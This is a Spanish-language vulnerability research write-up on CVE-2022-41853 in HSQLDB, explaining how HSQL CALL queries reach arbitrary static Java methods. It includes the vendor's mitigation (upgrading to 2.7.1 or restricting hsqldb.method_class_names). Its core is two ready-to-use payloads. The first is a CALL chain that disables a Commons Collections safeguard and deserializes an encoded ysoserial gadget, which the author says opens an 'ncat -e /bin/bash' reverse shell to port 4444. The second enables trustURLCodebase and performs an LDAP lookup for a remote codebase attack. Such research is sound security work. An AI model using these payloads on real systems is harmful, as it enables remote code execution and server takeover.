
Investigación sobre CVE-2022-41853: Uso de funciones estáticas para obtener RCE mediante deserialización de Java y ataque de codebase remoto
Quienes utilicen java.sql.Statement o java.sql.PreparedStatement en hsqldb (HyperSQL DataBase) para procesar entradas no confiables pueden ser vulnerables a un ataque de ejecución remota de código. De forma predeterminada, se permite llamar a cualquier método estático de cualquier clase Java en el classpath, lo que resulta en ejecución de código. El problema se puede prevenir actualizando a 2.7.1 o estableciendo la propiedad del sistema "hsqldb.method_class_names" con las clases a las que se permite llamar. Por ejemplo, se puede usar System.setProperty("hsqldb.method_class_names", "abc") o el argumento de Java -Dhsqldb.method_class_names="abc". A partir de la versión 2.7.1, todas las clases no son accesibles de forma predeterminada, excepto las de java.lang.Math, y deben habilitarse manualmente.
La divulgación inicial de esta vulnerabilidad se puede encontrar aquí.
Equipo OSS-Fuzz
https://github.com/google/oss-fuzz
Allá por 2021, estaba leyendo el artículo del blog "Remote Code Execution in F5 Big‑IP" by Mikhail Klyuchnikov sobre cómo un ataque de normalización de rutas + consultas "CALL" de HSQL podía usarse para llamar métodos estáticos arbitrarios de Java y obtener RCE.
Como en ese momento estaba reportando e investigando vulnerabilidades en Apache SOLR, recordé que su ejemplo de JDBC Stream usa HSQL y me puse a preparar el entorno de pruebas.

Nota: Desafortunadamente, esta vulnerabilidad no afecta a los servidores Apache Solr predeterminados, ya que el JAR de HSQL debe colocarse específicamente en la carpeta “./server/solr-webapp/webapp/WEB-INF/lib/” para que el controlador sea alcanzable por el componente Stream JDBC.
Debido a que el RCE en F5 usa la función "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" ubicada en "tmui.jar" (un JAR específico de las aplicaciones F5), y quería idear un payload independiente de la aplicación, me puse a investigar cómo podría encadenar JARs de uso común (por ejemplo, Apache Commons Collections, Apache Log4J) para llamar funciones estáticas y obtener RCE.
Como los gadgets de CommonsCollections* de ysoserial fueron lo primero que se me vino a la mente, seguí el camino de la deserialización de Java con los siguientes resultados:
java.lang.System.setProperty('org.apache.commons.collections.enableUnsafeSerialization','true') para habilitar la deserialización insegura (¿Por qué eludir una protección cuando puedes eliminar una salvaguarda por completo? :)) )public static <T> T org.apache.commons.lang.SerializationUtils.deserialize(byte[] objectData) como sumidero para que nuestra entrada llegue a la función ObjectInputStream(x).readObject()public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseBase64Binary(String encoded) o public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseHexBinary(String s) para convertir nuestro String de payload ysoserial codificado en un array de bytes que será consumido por deserialize(byte[] objectData)El payload HSQL completo tiene la siguiente forma:
CALL "java.lang.System.setProperty"('org.apache.commons.collections.enableUnsafeSerialization','true') + "org.apache.commons.lang.SerializationUtils.deserialize"("org.apache.logging.log4j.core.config.plugins.convert.Base64Converter.parseBase64Binary"('rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABxuY2F0IC1lIC9iaW4vYmFzaCAxMjcuMSA0NDQ0dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg='))
Nota: En este caso, el payload de ysoserial es de tipo CommonsCollection6 y ejecutará el comando de reverse shell ncat -e /bin/bash 127.1 4444.
Nota 2: El HSQLDB.jar independiente no es vulnerable a este payload porque no incluye el JAR de Apache Commons Collections. Esta vulnerabilidad funciona (la mayoría de las veces) cuando HSQL está incluido en una aplicación web (p. ej., SOLR, Liferay, etc.).
Se pueden encontrar más detalles y el proceso de explotación en este PDF.
Investigando este tema en 2023, me topé con esta increíble presentación Exploring JNDI Attacks by iSafeBlue que usaba java.lang.System.setProperty para establecer com.sun.jndi.ldap.object.trustURLCodebase o com.sun.jndi.rmi.object.trustURLCodebase en true y luego realizar una búsqueda LDAP/RMI para ejecutar con éxito un ataque de código base remoto en Java.
Ejemplo de payload HSQL:
CALL java.lang.System.setProperty"('com.sun.jndi.ldap.object.trustURLCodebase','true') + "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:4444/pgesux')
Resultado:

Nota: Por razones desconocidas, esta vulnerabilidad funciona en el HSQLDB.jar predeterminado, pero no funciona en el entorno HSQL + Apache SOLR ¯\_(ツ)_/¯.